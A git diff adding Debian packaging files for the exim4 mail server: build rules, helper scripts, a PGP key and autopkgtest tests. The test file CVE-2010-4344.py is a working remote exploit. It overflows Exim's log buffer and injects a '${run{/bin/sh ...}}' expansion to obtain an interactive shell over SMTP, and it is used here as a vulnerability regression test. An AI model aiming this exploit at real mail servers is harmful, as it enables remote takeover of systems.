+ -rm -f $(DEBIAN)/debconf/exim4.conf.template $(DEBIAN)/files \ + $(DEBIAN)/README.Debian $(DEBIAN)/README.Debian.html \ + $(DEBIAN)/berkeleydb.sed + + #these are identical for all daemon-* and therefore symlinked + @cd $(DEBIAN) && find . -maxdepth 1 \ + -regex '^\./exim4-daemon-.*\.\(postinst\|prerm\)$$' \ + -and -not -name 'exim4-daemon-light.*' -delete + #pwd + chmod 755 $(DEBIAN)/exim-gencert \ + $(DEBIAN)/lynx-dump-postprocess $(DEBIAN)/script \ + $(DEBIAN)/exim-adduser $(DEBIAN)/exim4_refresh_gnutls-params + +override_dh_installchangelogs: + dh_installchangelogs -pexim4-base doc/ChangeLog + dh_installchangelogs --no-package=exim4-base \ + -XCHANGES -Xdoc/ChangeLog + +override_dh_installppp: + dh_installppp --name=exim4 + +override_dh_fixperms: + dh_fixperms -X/etc/exim4/passwd.client -Xusr/sbin/exim4 + +override_dh_gencontrol: + dh_gencontrol -- \ + -VUpstream-Version=$(DEB_VERSION_EPOCH_UPSTREAM) \ + -VMTA-Conflicts="$(shell cat $(DEBIAN)/mtalist)" \ + -Vdist:Provides:exim4-daemon-light="$(PROVIDE_DEFAULT_MTA)" + +override_dh_installlogrotate: + dh_installlogrotate + dh_installlogrotate --name=exim4-paniclog + +override_dh_installinit: + dh_installinit --noscripts --name=exim4 + +override_dh_install: + # install config.h from daemon package, but not from exim4-daemon-light + dh_install -p exim4-dev \ + $(shell ls -1 b-exim4-daemon-*/build-$(buildname)/config.h | grep -v ^b-exim4-daemon-light/) \ + usr/include/exim4 + dh_install + +override_dh_link: + rm -rf debian/exim4/usr/share/doc/exim4 + dh_link + +%: + dh $@ --no-parallel + +.PHONY: pack-configs unpack-configs update-mtaconflicts diff --git a/debian/script b/debian/script new file mode 100755 index 0000000..bc0ef5c --- /dev/null +++ b/debian/script @@ -0,0 +1,28 @@ +#!/bin/bash +# install as /usr/share/bug/$package/script or /usr/share/bug/$package + +UE4CC="/etc/exim4/update-exim4.conf.conf" +REDIR=">&3" +if [ "$OUTPUT" = "all" ]; then + REDIR="" +fi + +if test -x /usr/sbin/exim4 ; then + eval /usr/sbin/exim4 -bV $REDIR +fi +if [ "$OUTPUT" != "all" ]; then + yesno "Include extended configuration information?" "yep" + if [ "$REPLY" != "yep" ] ;then + exit 0 + fi +fi +if test -r $UE4CC ; then + eval cat $UE4CC $REDIR +fi +if test -r /etc/mailname ; then + eval echo -n 'mailname:' $REDIR + eval cat /etc/mailname $REDIR +fi +if test -r /etc/default/exim4 ; then + eval cat /etc/default/exim4 $REDIR +fi diff --git a/debian/source/format b/debian/source/format new file mode 100644 index 0000000..163aaf8 --- /dev/null +++ b/debian/source/format @@ -0,0 +1 @@ +3.0 (quilt) diff --git a/debian/syslog2eximlog b/debian/syslog2eximlog new file mode 100755 index 0000000..edf974b --- /dev/null +++ b/debian/syslog2eximlog @@ -0,0 +1,60 @@ +#!/usr/bin/perl -w +# +# Copyright (c) 2003 Martin A. Godisch for Debian GNU/Linux, GPL + +=head1 NAME + +syslog2eximlog - make syslog output suitable for eximstats + +=head1 SYNOPSIS + +B<syslog2eximlog> B<<> I<mail.log> B<|> B<eximstats> + +=head1 DESCRIPTION + +syslog2eximlog converts logfiles produced by syslog when using +B<log_file_path = syslog> in your I<exim.conf> back to exim +logfile format, suitable for B<eximstats>. B<syslog_timestamp> +may be B<true> or B<false>. + +The program always succeeds, invalid lines will be ignored. + +=head1 BUGS + +Please report any bugs directly to the author. + +=head1 AUTHOR + +Martin A. Godisch <godisch@debian.org> for Debian GNU/Linux. + +=head1 SEE ALSO + +B<eximstats>(8) + +=cut + +my @date = localtime(time); +$date[4] += 1; +$date[5] += 1900; +my %names = ( + "Jan", "01", "Feb", "02", "Mar", "03", "Apr", "04", + "May", "05", "Jun", "06", "Jul", "07", "Aug", "08", + "Sep", "09", "Oct", "10", "Nov", "11", "Dec", "12" +); + +while (<>) { + next unless (s/^(\w{3})\s([\s\d]\d)\s(\d\d):(\d\d):(\d\d)\s\S+\sexim\[\d+\]:\s//); + + my ($month, $day, $hour, $min, $sec) = ($names{$1}, $2, $3, $4, $5); + + if (/^\d{4}-\d\d-\d\d\s\d\d:\d\d:\d\d\s/) { + print $_; + } else { + printf "%04d-%02d-%02d %02d:%02d:%02d %s", + # assume current year if month/day <= today, otherwise assume last year + $month > $date[4] || $month == $date[4] && $day > $date[3] ? $date[5] - 1 : $date[5], + $month, $day, $hour, $min, $sec, $_; + } +} + +exit 0; diff --git a/debian/tests/CVE-2010-4344.py b/debian/tests/CVE-2010-4344.py new file mode 100644 index 0000000..1158326 --- /dev/null +++ b/debian/tests/CVE-2010-4344.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python +# Copyright 2010, Canonical, Ltd. +# Author: Kees Cook <kees@ubuntu.com> +# License: GPLv2 + +import socket, sys + +HOST = sys.argv[1] +PORT = 25 + +try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +except socket.error, msg: + sys.stderr.write("[ERROR] %s\n" % msg[1]) + sys.exit(1) + +try: + sock.settimeout(10) + sock.connect((HOST, PORT)) +except socket.error, msg: + sys.stderr.write("[ERROR] %s\n" % msg[1]) + sys.exit(2) + +def want(value, cmd=None): + if cmd != None: + sys.stdout.write("%s\n" % (cmd)) + sock.send("%s\n" % (cmd)) + data = sock.recv(1024) + sys.stdout.write(data) + final = data.splitlines().pop() + if not final.startswith('%d ' % (value)): + sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value)) + sys.exit(5) + return data + +mail_from = '<root@localhost>' +rcpt_to = '<postmaster@localhost>' +helo = 'example.com' + +want(220) +data = want(250, "EHLO %s" % (helo)) +ident = data.splitlines()[0].split() +# Extract DNS details from helo response +sending_host = '%s (%s) %s' % (ident[2], helo, ident[3]) + +want(250, "MAIL FROM:%s" % (mail_from)) +want(250, "RCPT TO:%s" % (rcpt_to)) +want(354, "DATA") + +# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189 +# and minus the logging header... +target = 8189 +sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800 +Envelope-from: %s +Envelope-to: %s +''' % (mail_from, sending_host, mail_from, rcpt_to)) +send = target - sent +count = 0 +padding = 3 # because of logging's " " prefix and "\n" suffix +taunt = 'M4iLB0mb' +header = 'MAILbombhdr%04d: ' +chunksize = len(header) + 120 +amount = send +while amount > chunksize: + prev = amount + amount /= 2 +chunksize = prev +chunksize = 100 +#print "Chunk size: %d" % (chunksize) + +#print "hit enter to continue" +#sys.stdin.readline() + +while send > 0: + count += 1 + #print "At position %d (%d to go)" % (sent, send) + data = header % (count) + perline = chunksize - padding + data += taunt * chunksize + + # Down-regulate + togo = send - padding + if togo > perline: + togo = perline + # Fill hole for easier forward calculations + left = sent % 100 + if left != 0: + left = 100 - left + if left < len(header) + (padding * 2): + left += 100 + togo = left - padding + data = data[0:togo] + + sock.send('%s\n' % (data)) + send -= len(data) + padding + sent += len(data) + padding + #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send) + +# This header will expand past the logging buffer +sys.stdout.write("Sending exploit header\n") +sock.send('HeaderX: ') +for j in range(50): + for i in range(3, 13): + sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i) +sock.send("\n"); + +# Now trigger the "message too large" handler +sys.stdout.write("Sending body to trigger reject\n") +sock.send("\n"); +for i in range(700000): + sock.send(taunt * 10 + "\n") +sock.send(".\n") + +want(552) +sock.settimeout(1) +trigger = "MAIL FROM:%s\n" % (mail_from) +sys.stdout.write(trigger) +sock.send(trigger) + +final = "" +shell = False +hit = False +while True: + try: + data = sock.recv(1024) + except: + break + sys.stdout.write(data) + sys.stdout.flush() + final += data + if '/bin/sh' in final: + shell = True + if shell and not hit: + sock.send("uname -a\n") + sock.send("id\n") + hit = True + +sock.close() +if shell: + print "\nSystem is vulnerable" + sys.exit(1) +print "\nSystem appears safe" +sys.exit(0) diff --git a/debian/tests/control b/debian/tests/control new file mode 100644 index 0000000..0e64126 --- /dev/null +++ b/debian/tests/control @@ -0,0 +1,3 @@ +Tests: daemon security +Depends: exim4, python +Restrictions: needs-root diff --git a/debian/tests/daemon b/debian/tests/daemon new file mode 100644 index 0000000..173d90f --- /dev/null +++ b/debian/tests/daemon @@ -0,0 +1,13 @@ +#!/bin/sh +#-------------- +# Testing exim4 +#-------------- +set -e +DAEMON=exim4 + +if pidof -x $DAEMON > /dev/null; then + echo "OK" +else + echo "ERROR: ${DAEMON} IS NOT RUNNING" + exit 1 +fi diff --git a/debian/tests/security b/debian/tests/security new file mode 100644 index 0000000..26aba86 --- /dev/null +++ b/debian/tests/security @@ -0,0 +1,6 @@ +#!/bin/sh +#---------------------- +# Testing exim security +#---------------------- +set -e +python `dirname $0`/CVE-2010-4344.py localhost 2>&1 diff --git a/debian/update-exim4defaults b/debian/update-exim4defaults new file mode 100644 index 0000000..06915e7 --- /dev/null +++ b/debian/update-exim4defaults @@ -0,0 +1,284 @@ +#!/bin/sh +# update-exim4defaults(8): manage entries in /etc/default/exim4 +# per script + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +unset LC_ALL +export LC_CTYPE=C + +defaultfile=/etc/default/exim4 + +EX4DEF_INIT=false +EX4DEF_FORCE=false + + +if [ -r ${defaultfile} ]; then + . ${defaultfile} +fi + + +# initialize variables +EX4DEF_QUEUERUNNER="${QUEUERUNNER}" +EX4DEF_QUEUEINTERVAL="${QUEUEINTERVAL}" +EX4DEF_COMMONOPTIONS="${COMMONOPTIONS}" +EX4DEF_QUEUERUNNEROPTIONS="${QUEUERUNNEROPTIONS}" +EX4DEF_QFLAGS="${QFLAGS}" +EX4DEF_SMTPLISTENEROPTIONS="${SMTPLISTENEROPTIONS}" + +EX4DEF_FLAGOPTIONS=false +EX4DEF_FLAGREMOVE=false + +ex4def_usage () +{ + echo "update-exim4defaults: manage entries in /etc/default/exim4" + echo " usage: update-exim4defaults [[--queuerunner combined|separate|queueonly|ppp|no|nodaemon]" + echo " [--qflags flags ] [--queuetime time] [--commonoptions options]" + echo " [--queuerunneroptions options] [--smtplisteneroptions options]]" + echo " [--remove-common options] [--remove-queue options]" + echo " [--remove-smtp options]" + echo " [--force|-f] [--help|-h]" + echo " [--init]" +} + + +# used for initialzing and with --force. +ex4def_write(){ + EX4DEF_TMP="$(tempfile -m 600 -p ex4)" + cat << EOF > "${EX4DEF_TMP}" +# /etc/default/exim4 +EX4DEF_VERSION='${EX4DEF_VERSION}' + +# 'combined' - one daemon running queue and listening on SMTP port +# 'no' - no daemon running the queue +# 'separate' - two separate daemons +# 'ppp' - only run queue with /etc/ppp/ip-up.d/exim4. +# 'nodaemon' - no daemon is started at all. +# 'queueonly' - only a queue running daemon is started, no SMTP listener. +# setting this to 'no' will also disable queueruns from /etc/ppp/ip-up.d/exim4 +QUEUERUNNER='${EX4DEF_QUEUERUNNER}' +# how often should we run the queue +QUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}' +# options common to quez-runner and listening daemon +COMMONOPTIONS='${EX4DEF_COMMONOPTIONS}' +# more options for the daemon/process running the queue (applies to the one +# started in /etc/ppp/ip-up.d/exim4, too. +QUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}' +# special flags given to exim directly after the -q. See exim(8) +QFLAGS='${EX4DEF_QFLAGS}' +# Options for the SMTP listener daemon. By default, it is listening on +# port 25 only. To listen on more ports, it is recommended to use +# -oX 25:587:10025 -oP /run/exim4/exim.pid +SMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}' +EOF + cat "${EX4DEF_TMP}" > "${defaultfile}" + rm -f "${EX4DEF_TMP}" +} + +## Parse commandline +TEMP=$(getopt -n update-exim4defaults \ + -l qflags:,queuerunner:,queuetime:,commonoptions:,queuerunneroptions:,smtplisteneroptions:,remove-common:,remove-queue:,remove-smtp:,force,help,init -- \ + +fh "$@") + +if test "$?" != 0; then + echo "Terminating..." >&2 + exit 1 +fi + +eval set -- ${TEMP} +while test "$1" != "--"; do + case $1 in + -f|--force) + EX4DEF_FORCE=true + ;; + -h|--help) + ex4def_usage + exit 0 + ;; + --qflags) + shift + EX4DEF_QFLAGS="$1" + ;; + --queuerunner) + shift + EX4DEF_QUEUERUNNER="$1" + if ! expr match "${EX4DEF_QUEUERUNNER}" '\(ppp\|no\|combined\|nodaemon\|queueonly\|separate\)$' >/dev/null ; then + echo "invalid argument ${EX4DEF_QUEUERUNNER} for --queuerunner" 1>&2 + exit 1 + fi + ;; + --queuetime) + shift + EX4DEF_QUEUEINTERVAL="$1" + ;; + --commonoptions) + shift + EX4DEF_COMMONOPTIONS="$1" + EX4DEF_FLAGOPTIONS=true + ;; + --queuerunneroptions) + shift + EX4DEF_QUEUERUNNEROPTIONS="$1" + EX4DEF_FLAGOPTIONS=true + ;; + --smtplisteneroptions) + shift + EX4DEF_SMTPLISTENEROPTIONS="$1" + EX4DEF_FLAGOPTIONS=true + ;; + --remove-common) + shift + EX4DEF_REMOVECOMMON="$1" + EX4DEF_FLAGREMOVE=true + ;; + --remove-queue) + shift + EX4DEF_REMOVEQUEUE="$1" + EX4DEF_FLAGREMOVE=true + ;; + --remove-smtp) + shift + EX4DEF_REMOVESMTP="$1" + EX4DEF_FLAGREMOVE=true + ;; + --init) + EX4DEF_INIT=true + ;; + esac + shift +done +shift + +# No non-option arguments allowed. +if [ "$#" -ne 0 ]; then + echo "No non option arguments allowed" >&2 + ex4def_usage >&2 + exit 1 +fi + +if [ "${EX4DEF_FLAGREMOVE}" = "true" ] && [ "${EX4DEF_FLAGOPTIONS}" = "true" ] ; then + echo "Cannot use --remove-something together with --somethingoptions" >&2 + ex4def_usage >&2 + exit 1 +fi + +#if [ ! -r ${defaultfile} ]; then +# echo "Cannot read ${defaultfile}, terminating" >&2 +# exit 1 +#fi + +if "${EX4DEF_INIT}" = "true" ] ; then + [ -e "${defaultfile}" ] && [ "${EX4DEF_FORCE}" != "true" ] && exit 0 + # Reset to default values + EX4DEF_QUEUERUNNER='combined' + EX4DEF_QUEUEINTERVAL='30m' + EX4DEF_COMMONOPTIONS='' + EX4DEF_QUEUERUNNEROPTIONS='' + EX4DEF_QFLAGS='' + EX4DEF_SMTPLISTENEROPTIONS='' + + ex4def_write + exit 0 +fi + +#Try removing +if [ "${EX4DEF_FLAGREMOVE}" = "true" ] ; then + EX4DEF_REMOVEERROR="false" + if [ ! -z "${EX4DEF_REMOVECOMMON}" ] ; then + EX4DEF_COMMONOPTIONS=$(echo "${COMMONOPTIONS}" | \ + sed -e "sÄ${EX4DEF_REMOVECOMMON}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//') + [ "${EX4DEF_COMMONOPTIONS}" = "${COMMONOPTIONS}" ] && \ + EX4DEF_REMOVEERROR="true" + fi + if [ ! -z "${EX4DEF_REMOVEQUEUE}" ] ; then + EX4DEF_QUEUERUNNEROPTIONS=$(echo "${QUEUERUNNEROPTIONS}" | \ + sed -e "sÄ${EX4DEF_REMOVEQUEUE}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//') + [ "${EX4DEF_QUEUERUNNEROPTIONS}" = "${QUEUERUNNEROPTIONS}" ] && \ + EX4DEF_REMOVEERROR="true" + fi + if [ ! -z "${EX4DEF_REMOVESMTP}" ] ; then + EX4DEF_SMTPLISTENEROPTIONS=$(echo "${SMTPLISTENEROPTIONS}" | \ + sed -e "sÄ${EX4DEF_REMOVESMTP}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//') + [ "${EX4DEF_SMTPLISTENEROPTIONS}" = "${SMTPLISTENEROPTIONS}"] && \ + EX4DEF_REMOVEERROR="true" + fi + if [ "${EX4DEF_REMOVEERROR}" = "true" ] ; then + echo "$0: removing failed, no changes" >&2 + exit 64 + fi + + EX4DEF_TMP="$(tempfile -m 600 -p ex4)" + sed -e "sÄ^QFLAGS=.*ÄQFLAGS='${EX4DEF_QFLAGS}'Ä" \ + -e "sÄ^QUEUERUNNER=.*ÄQUEUERUNNER='${EX4DEF_QUEUERUNNER}'Ä" \ + -e "sÄ^QUEUEINTERVAL=.*ÄQUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'Ä" \ + -e "sÄ^COMMONOPTIONS=.*ÄCOMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'Ä" \ + -e "sÄ^QUEUERUNNEROPTIONS=.*ÄQUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'Ä" \ + -e "sÄ^SMTPLISTENEROPTIONS=.*ÄSMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'Ä" \ + < $defaultfile > "${EX4DEF_TMP}" + mv "${EX4DEF_TMP}" $defaultfile + rm -f "${EX4DEF_TMP}" + exit 0 +fi + +if [ "${EX4DEF_FORCE}" = "true" ] ; then + ex4def_write + exit 0 + +else + EX4DEF_DOANYTHING=0 + EX4DEF_NOTALLOWED=0 + if [ "${QUEUERUNNER}" != "${EX4DEF_QUEUERUNNER}" ]; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+1)) + # switching the QUEUERUNNER modus is always allowed + #[ -z "${QUEUERUNNER}" ] || EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+1)) + fi + if [ "${QUEUEINTERVAL}" != "${EX4DEF_QUEUEINTERVAL}" ] ; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+2)) + [ -z "${QUEUEINTERVAL}" ] || \ + EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+2)) + fi + if [ "${COMMONOPTIONS}" != "${EX4DEF_COMMONOPTIONS}" ] ; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+4)) + [ -z "${COMMONOPTIONS}" ] || \ + EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+4)) + fi + if [ "${QUEUERUNNEROPTIONS}" != "${EX4DEF_QUEUERUNNEROPTIONS}" ] ; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+8)) + [ -z "${QUEUERUNNEROPTIONS}" ] || \ + EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+8)) + fi + if [ "${SMTPLISTENEROPTIONS}" != "${EX4DEF_SMTPLISTENEROPTIONS}" ] ; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+16)) + [ -z "${SMTPLISTENEROPTIONS}" ] || \ + EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+16)) + fi + if [ "${QFLAGS}" != "${EX4DEF_QFLAGS}" ] ; then + EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+32)) + [ -z "${QFLAGS}" ] || \ + EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+32)) + fi + + [ ${EX4DEF_DOANYTHING} -eq 0 ] && exit 0 + if [ ${EX4DEF_NOTALLOWED} -ne 0 ] ; then + echo "setting(s) conflict with current one, terminating" >&2 + exit ${EX4DEF_NOTALLOWED} + fi + + EX4DEF_TMP="$(tempfile -m 600 -p ex4)" + sed -e "sÄ^QFLAGS=.*ÄQFLAGS='${EX4DEF_QFLAGS}'Ä" \ + -e "sÄ^QUEUERUNNER=.*ÄQUEUERUNNER='${EX4DEF_QUEUERUNNER}'Ä" \ + -e "sÄ^QUEUEINTERVAL=.*ÄQUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'Ä" \ + -e "sÄ^COMMONOPTIONS=.*ÄCOMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'Ä" \ + -e "sÄ^QUEUERUNNEROPTIONS=.*ÄQUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'Ä" \ + -e "sÄ^SMTPLISTENEROPTIONS=.*ÄSMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'Ä" \ + < $defaultfile > "${EX4DEF_TMP}" + mv "${EX4DEF_TMP}" $defaultfile + rm -f "${EX4DEF_TMP}" + exit 0 +fi + + + diff --git a/debian/upstream/signing-key.asc b/debian/upstream/signing-key.asc new file mode 100644 index 0000000..3e9ac90 --- /dev/null +++ b/debian/upstream/signing-key.asc @@ -0,0 +1,838 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 